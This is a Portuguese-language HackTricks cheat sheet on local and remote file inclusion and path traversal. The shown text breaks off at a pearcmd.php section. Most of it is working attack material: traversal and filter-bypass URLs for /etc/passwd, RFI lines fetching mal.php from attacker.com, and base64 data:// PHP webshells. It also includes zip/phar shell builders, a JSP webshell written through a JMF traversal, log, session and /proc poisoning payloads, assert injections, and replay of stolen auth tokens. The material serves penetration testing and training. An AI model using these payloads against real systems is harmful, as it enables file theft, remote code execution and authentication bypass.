File Inclusion/Path traversal

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

File Inclusion

Remote File Inclusion (RFI): O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor irá executá-lo). Em php isto está desabilitado por padrão (allow_url_include).
Local File Inclusion (LFI): O servidor carrega um arquivo local.

A vulnerabilidade ocorre quando o usuário pode controlar, de alguma forma, qual arquivo será carregado pelo servidor.

Funções PHP vulneráveis: require, require_once, include, include_once

Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Misturando várias *nix LFI listas e adicionando mais caminhos criei esta:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Tente também trocar / por \
Tente também adicionar ../../../../../

Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada here

Windows

Mescla de diferentes wordlists:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

Tente também trocar / por \
Tente também remover C:/ e adicionar ../../../../../

Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada here

OS X

Verifique a lista de LFI do Linux.

LFI básico e bypasses

Todos os exemplos são para Local File Inclusion mas poderiam ser aplicados a Remote File Inclusion também (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass o acréscimo de mais chars no final da string fornecida (bypass de: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Isto está resolvido desde o PHP 5.4

Codificação

Você pode usar codificações não padrão como double URL encode (e outros):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Engines modernos de HTML-to-PDF (por exemplo TCPDF ou wrappers como html2pdf) analisam attacker-provided HTML, SVG, CSS e font URLs, mas rodam dentro de redes backend confiáveis com acesso ao filesystem. Uma vez que você consegue injetar HTML em $pdf->writeHTML()/Html2Pdf::writeHTML(), você frequentemente pode exfiltrate arquivos locais que a conta do servidor web pode ler.

  • Fingerprint the renderer: cada PDF gerado contém um campo Producer (por exemplo TCPDF 6.8.2). Saber o build exato indica quais filtros de path existem e se o URL decoding ocorre antes da validação.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() lê o atributo xlink:href de elementos <image> antes de executar urldecode(). Incorporar um SVG malicioso dentro de um data URI faz com que muitos sanitizadores de HTML ignorem o payload enquanto o TCPDF ainda o processa:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF antepõe $_SERVER['DOCUMENT_ROOT'] a caminhos que começam com / e só resolve .. mais tarde, então use segmentos iniciais ../../.. ou /../../.. para escapar da raiz após o prepend.

  • Codificação para contornar filtros ingênuos: Versões ≤6.8.2 verificam apenas a substring literal ../ antes de decodificar a URL. Enviar ..%2f (ou ..%2F) no SVG ou em um atributo <img src> cru contorna a verificação, porque a sequência de travessia dot-dot-slash é recriada somente depois que o TCPDF chama urldecode().
  • Dupla codificação para decodificação em múltiplas etapas: Se a entrada do usuário é decodificada pelo framework web e pelo TCPDF, codifique a barra duas vezes (%252f). Uma decodificação a transforma em %2f, a segunda decodificação no TCPDF a transforma em /, produzindo /..%252f..%252f../../../../… sem nunca mostrar ../ ao filtro inicial.
  • Manipulador HTML <img>: TCPDF::openHTMLTagHandler() contém o mesmo bug de ordem de operações, permitindo payloads HTML diretos como src="%2f..%252f..%252ftmp%252fsecret.png" para ler qualquer bitmap localmente acessível.

Esta técnica leaks qualquer coisa legível pelo PDF worker (passport scans, API keys renderizadas como imagens, etc.). Hardeners corrigiram isso na 6.9.1 ao canonizar caminhos (isRelativePath()), então durante os testes priorize versões antigas do Producer.

A partir da pasta existente

Talvez o back-end esteja verificando o caminho da pasta:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorando diretórios do sistema de arquivos em um servidor

O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e testar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso:

  1. Determine Directory Depth: Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo /etc/passwd (aplicável se o servidor for Linux-based). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Procurar por pastas: Anexe o nome da pasta suspeita (por exemplo, private) ao URL, então navegue de volta para /etc/passwd. O nível de diretório adicional requer incrementar a profundidade em uma unidade:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretar os resultados: A resposta do servidor indica se a pasta existe:
  • Erro / Sem saída: A pasta private provavelmente não existe no local especificado.
  • Conteúdo de /etc/passwd: A presença da pasta private está confirmada.
  1. Exploração recursiva: Pastas descobertas podem ser exploradas adicionalmente por subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).

Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se /var/www/ contém um diretório private (assumindo que o diretório atual esteja em uma profundidade de 3), use:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. Frequentemente é usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.

In PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • When the last 6 characters are passwd, appending a / (making it passwd/) doesn’t change the targeted file.
  • Similarly, if .php is appended to a file path (like shellcode.php), adding a /. at the end will not alter the file being accessed.

Os exemplos fornecidos demonstram como utilizar path truncation para acessar /etc/passwd, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Nesses cenários, o número de traversals necessários pode ser cerca de 2027, mas esse número pode variar dependendo da configuração do servidor.

  • Using Dot Segments and Additional Characters: Sequências de traversal (../) combinadas com segmentos adicionais de ponto e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor.
  • Determining the Required Number of Traversals: Por tentativa e erro, é possível encontrar o número preciso de sequências ../ necessárias para alcançar o diretório root e então /etc/passwd, garantindo que quaisquer strings anexadas (como .php) sejam neutralizadas, mas o caminho desejado (/etc/passwd) permaneça intacto.
  • Starting with a Fake Directory: É prática comum começar o caminho com um diretório inexistente (como a/). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.

When employing path truncation techniques, it’s crucial to understand the server’s path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

No php, isso está desativado por padrão porque allow_url_include está Off. Ele precisa estar On para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Se, por algum motivo, allow_url_include estiver On, mas o PHP estiver filtrando o acesso a páginas externas, de acordo com este post, você pode usar, por exemplo, o protocolo data com base64 para decodificar um código PHP em b64 e obter RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

No código anterior, o +.txt final foi adicionado porque o atacante precisava de uma string que terminasse em .txt, então a string termina com isso e, após o b64 decode, essa parte retornará apenas junk e o código PHP real será incluído (e, portanto, executado).

Outro exemplo não usando o protocolo php:// seria:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root element

Em Python, em um código como este:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Se o usuário passar um caminho absoluto para file_name, o caminho anterior é simplesmente removido:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Isso é o comportamento pretendido de acordo com the docs:

Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.

Java Listar Diretórios

Parece que, se você tem um Path Traversal em Java e você solicita um diretório em vez de um arquivo, uma listagem do diretório é retornada. Isso não ocorrerá em outras linguagens (afaik).

Top 25 parâmetros

Aqui está a lista dos 25 principais parâmetros que poderiam ser vulneráveis a local file inclusion (LFI) (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando wrappers e protocolos PHP

php://filter

PHP filters allow perform basic modification operations on the data before being it’s read or written. There are 5 categories of filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Remove tags from the data (everything between “<” and “>” chars)
  • Observe que este filtro desapareceu nas versões modernas do PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>). Para obter a lista de todas as codificações suportadas, execute no console: iconv -l

Warning

Ao abusar do filtro de conversão convert.iconv.* você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, veja LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprime o conteúdo (útil ao exfiltrar muita informação)
  • zlib.inflate: Descomprime os dados
  • Encryption Filters
  • mcrypt.* : Obsoleto
  • mdecrypt.* : Obsoleto
  • Other Filters
  • Executando em php var_dump(stream_get_filters()); você pode encontrar alguns filtros inesperados:
  • consumed
  • dechunk: reverte a codificação HTTP chunked
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

A parte “php://filter” não diferencia maiúsculas de minúsculas

Usando php filters como oráculo para ler arquivos arbitrários

Neste post é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica é baseada em uma exfiltração booleana do arquivo (caractere por caractere) usando php filters como oráculo. Isso porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção.

No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido:

  • Use o codec UCS-4LE para deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente.
  • Isso será usado para gerar um texto tão grande quando a letra inicial for adivinhada corretamente que o php disparará um erro.
  • O filtro dechunk irá remover tudo se o primeiro caractere não for um hexadecimal, então podemos saber se o primeiro caractere é hex.
  • Isso, combinado com o anterior (e outros filtros dependendo da letra testada), permitirá adivinhar uma letra no início do texto observando quando fazemos transformações suficientes para torná-la não-hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar um erro.
  • O codec convert.iconv.UNICODE.CP930 transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um a, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g, a letra deixa de ser um caractere hexadecimal, portanto dechunk não a apaga e o erro do php é acionado porque multiplica com a bomba inicial.
  • Usando outras transformações como rot13 no começo é possível leakar outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
  • Quando o caractere inicial é um número, é necessário codificá-lo em base64 e leakar as 2 primeiras letras para leakar o número.
  • O problema final é ver como leakar mais do que a letra inicial. Usando filtros de ordem de memória como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE é possível mudar a ordem dos chars e trazer para a primeira posição outras letras do texto.
  • E, para conseguir dados adicionais, a ideia é gerar 2 bytes de dados junk no início com convert.iconv.UTF16.UTF16, aplicar UCS-4LE para fazer pivot com os próximos 2 bytes, e deletar os dados até os dados junk (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até atingir o bit desejado para leak.

No post também foi leaked uma ferramenta para executar isso automaticamente: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Você também pode usar php://stdin, php://stdout and php://stderr para acessar os descritores de arquivo 0, 1 e 2 respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)

zip:// e rar://

Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.
Para poder abusar do protocolo rar, ele precisa ser especificamente ativado.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Observe que este protocolo é restrito pelas configurações do PHP allow_url_open e allow_url_include

expect://

Expect precisa estar ativado. Você pode executar código usando isto:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Especifique seu payload nos parâmetros POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Um arquivo .phar pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como include para carregamento de arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Para compilar o arquivo .phar, o seguinte comando deve ser executado:

php --define phar.readonly=0 create_path.php

Ao ser executado, um arquivo chamado test.phar será criado, que poderia potencialmente ser usado para explorar vulnerabilidades de Local File Inclusion (LFI).

Nos casos em que o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ou filesize(), pode-se tentar explorar uma vulnerabilidade de deserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo phar.

Para uma compreensão detalhada sobre a exploração de vulnerabilidades de deserialização no contexto de arquivos .phar, consulte o documento linkado abaixo:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Foi possível abusar de any arbitrary file read from PHP that supports php filters para obter RCE. A descrição detalhada pode ser found in this post.
Resumo bem rápido: um 3 byte overflow na heap do PHP foi abusado para alterar a cadeia de free chunks de um tamanho específico, a fim de conseguir escrever qualquer coisa em qualquer endereço, então foi adicionado um hook para chamar system.
Foi possível alocar chunks de tamanhos específicos abusando de mais php filters.

Mais protocolos

Confira mais possíveis protocols to include here:

  • php://memory and php://temp — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
  • file:// — Acessando o sistema de arquivos local
  • http:// — Acessando URLs HTTP(s)
  • ftp:// — Acessando URLs FTP(s)
  • zlib:// — Fluxos de compressão
  • glob:// — Encontra nomes de caminho que correspondem ao padrão (Não retorna nada imprimível, então não é realmente útil aqui)
  • ssh2:// — Secure Shell 2
  • ogg:// — Streams de áudio (Não útil para ler arquivos arbitrários)

LFI via ‘assert’ do PHP

Os riscos de Local File Inclusion (LFI) em PHP são notavelmente altos quando se lida com a função ‘assert’, que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contendo caracteres de directory traversal como “..” for verificada, mas não sanitizada corretamente.

Por exemplo, o código PHP pode ser projetado para prevenir directory traversal da seguinte forma:

assert("strpos('$file', '..') === false") or die("");

Embora isto vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isto para ler o conteúdo de arquivos, um attacker poderia usar:

' and die(highlight_file('/etc/passwd')) or '

Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:

' and die(system("id")) or '

É importante URL-encode these payloads.

PHP Blind Path Traversal

Warning

Esta técnica é relevante em casos em que você controla o caminho do arquivo de uma função PHP que irá acessar um arquivo, mas você não verá o conteúdo do arquivo (como uma chamada simples para file()) porque o conteúdo não é exibido.

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

Em resumo, a técnica usa a codificação “UCS-4LE” para tornar o conteúdo de um arquivo tão grande que a função PHP que abre o arquivo acionará um erro.

Então, para leak o primeiro char o filtro dechunk é usado juntamente com outros como base64 ou rot13, e finalmente os filtros convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para colocar outros chars no início e leak them.

Funções que podem ser vulneráveis: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Para os detalhes técnicos confira o post mencionado!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Fluxo típico de exploração:

  • Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Determine web-exposed directories. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
  • Browse to the dropped payload and execute commands.

Notas:

  • O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (ex.: um JMF XML listener on TCP 4004). O portal web principal (porta diferente) servirá seu payload posteriormente.
  • Em stacks Java, essas escritas de arquivo frequentemente são implementadas com simples concatenação File/Paths. Falta de canonicalisation/allow-listing é a falha principal.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Mitigações que impedem esta classe de bugs:

  • Resolva para um caminho canônico e garanta que seja descendente de um diretório base allow-listed.
  • Rejeite qualquer caminho que contenha .., raízes absolutas ou letras de unidade; prefira nomes de arquivo gerados.
  • Execute o processo de escrita com uma conta de baixo privilégio e segregue os diretórios de escrita das raízes servidas.

Remote File Inclusion

Explicado anteriormente, follow this link.

Via Apache/Nginx log file

Se o servidor Apache ou Nginx for vulnerable to LFI dentro da função include você pode tentar acessar /var/log/apache2/access.log or /var/log/nginx/access.log, inserir no user agent ou em um GET parameter um php shell como <?php system($_GET['c']); ?> e incluir esse arquivo

Warning

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.

Além disso, certifique-se de escrever corretamente o payload ou o PHP dará erro toda vez que tentar carregar o log file e você não terá uma segunda oportunidade.

Isso também pode ser feito em outros logs, mas tenha cuidado, o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header authorisation “basic” contém “user:password” em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.
Outros possíveis caminhos de log:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Ler access logs para coletar auth tokens via GET (token replay)

Muitas apps aceitam por engano session/auth tokens via GET (ex.: AuthenticationToken, token, sid). Se você tiver uma primitiva de path traversal/LFI para os access logs do servidor web, pode roubar esses tokens dos access logs e replay (reutilizar) esses tokens para contornar completamente a autenticação.

How-to:

  • Use the traversal/LFI para ler os access logs do servidor web. Locais comuns:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Alguns endpoints retornam leituras de arquivo codificadas em Base64. Se for o caso, decodifique localmente e inspecione as linhas do log.
  • Use Grep para localizar requisições GET que incluam um parâmetro token e capture seu valor; em seguida, replay esse valor contra o ponto de entrada da aplicação.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Decodifique o corpo se estiver em Base64, depois reenvie um token capturado:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notas:

  • Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
  • If the app supports multiple token names, search for common keys like AuthenticationToken, token, sid, access_token.
  • Faça a rotação de quaisquer tokens que possam ter leaked nos logs.

Por e-mail

Envie um e-mail para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?> e tente incluir no correio do usuário com um caminho como /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc//fd/

  1. Faça upload de muitas shells (por exemplo: 100)
  2. Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser brute forced) e $FD o descritor de arquivo (também pode ser brute forced)

Via /proc/self/environ

Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Se você conseguir enviar um arquivo, basta injetar o shell payload nele (ex: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf

Via upload de arquivo ZIP

Faça o upload de um arquivo ZIP contendo um shell PHP compactado e acesse:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Verifique se o site usa PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

No PHP, essas sessões são armazenadas em arquivos /var/lib/php5/sess\[PHPSESSID]_.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Defina o cookie para <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use o LFI para incluir o arquivo de sessão do PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa

Via vsftpd logs

Os logs do servidor FTP vsftpd estão localizados em /var/log/vsftpd.log. No cenário em que exista uma vulnerabilidade de Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:

  1. Injete um payload PHP no campo de username durante o processo de login.
  2. Após a injeção, utilize a LFI para recuperar os logs do servidor em /var/log/vsftpd.log.

Via php base64 filter (using base64)

Como mostrado em this artigo, o filtro base64 do PHP simplesmente ignora caracteres não-base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se você fornecer base64 que termine com “.php”, ele simplesmente ignorará o “.” e anexará “php” ao base64. Aqui está um exemplo payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (sem arquivo necessário)

Este writeup explica que você pode usar php filters para gerar conteúdo arbitrário como saída. O que basicamente significa que você pode gerar código php arbitrário para o include sem precisar escrevê-lo em um arquivo.

LFI2RCE via PHP Filters

Via segmentation fault

Upload um arquivo que será armazenado como temporário em /tmp, então na mesma requisição, provoque um segmentation fault, e então o arquivo temporário não será deletado e você poderá procurá-lo.

LFI2RCE via Segmentation Fault

Via Nginx armazenamento de arquivos temporários

Se você encontrou uma Local File Inclusion e o Nginx está rodando na frente do PHP você pode ser capaz de obter RCE com a seguinte técnica:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Se você encontrou uma Local File Inclusion mesmo que você não tenha uma session e session.auto_start esteja Off. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS em dados multipart POST, o PHP irá ativar a sessão para você. Você poderia abusar disso para obter RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Se você encontrou uma Local File Inclusion e o servidor está rodando em Windows você pode conseguir RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

